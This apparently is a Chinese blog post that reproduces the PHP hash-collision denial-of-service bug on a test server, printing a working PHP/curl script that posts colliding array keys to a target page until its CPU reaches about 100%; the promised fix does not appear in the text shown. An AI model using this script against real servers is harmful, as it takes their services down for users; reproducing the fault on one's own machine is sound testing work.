PHP Hash冲突导致 CPU 100%的完全解决方法


我们在这台web服务器上编写一个PHP程序,目的是要测试机去Hash它,以便故障重现。 程序语言如下: <?php echo $showtime=date"Ymd H:i:s"; ? 执行后的效果是取当前服务器的时间。 找台有PHP环境的测试机器,这台机器我用虚拟机,里面有LAMP环境。进/usr/

我们在这台web服务器上编写一个PHP程序,目的是要测试机去Hash它,以便故障重现。
程序语言如下:

<?php 
echo $showtime=date("Y-m-d H:i:s"); 
?> 

执行后的效果是取当前服务器的时间。

找台有PHP环境的测试机器,这台机器我用虚拟机,里面有LAMP环境。进/usr/local/apache/htdocs目录,写一PHP网页,程序语言如下:
[root@blog htdocs]# Vi hash.php

自己用的时候要把注释去掉 !-- -- 要自行删除否则不能运行

<?php 
$size = pow(2, 16); 
$data = ''; 
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) { 
$data .= $key.'=&'; 
} 
$url = 'http://www.liuxxxxx.com/checktime.php'; 
$rs = array(); 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_HEADER,0); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_URL, $url); 
curl_setopt($ch, CURLOPT_POST, 1); 
curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 
for ($i=0; $i<100; ++$i) 
{ 
curl_exec($ch); 
} 
curl_close($ch); 
?> 

url地址,为你要作测试的目标机,i<100,表示最多100个并发。手工执行hash.php,进行hash碰撞。

[root@blog htdocs]# /usr/local/php/bin/php hash.php

在web服务器端,我们去看服务器的资源利用情况,CPU是97.6%,看样子单台虚拟机,拿100并发去Hash,就足够把web服务器的CPU利用率升至100%。

2200举报0子龙•13年前

暂无评论